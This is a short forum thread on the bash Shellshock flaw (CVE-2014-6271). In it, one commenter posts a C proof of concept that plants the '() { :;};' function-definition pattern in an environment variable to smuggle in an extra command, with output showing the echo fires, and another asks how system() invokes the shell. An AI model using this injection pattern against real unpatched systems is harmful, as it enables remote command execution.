News for hackers. Stuff that matters.
Re:CVE-2014-6271: Remote code execution through bash by chappar on Thursday September 25, 2014 @01:01PM (#8368193)
Here is a simple c program to demonstrate this.

#include<stdio.h>

#include <stdlib.h>

int main()

{

   setenv("VAR", "() { :;}; echo vulnerable", 0);
   system("ls");
}

#./a.out

vulnerable

a.out

#

Re:CVE-2014-6271: Remote code execution through bash by daveloyall on Friday September 26, 2014 @11:08AM (#8373007)
That's awesome.

Does system() invoke /bin/sh? Does it look for 'sh' on the path? What are the rules?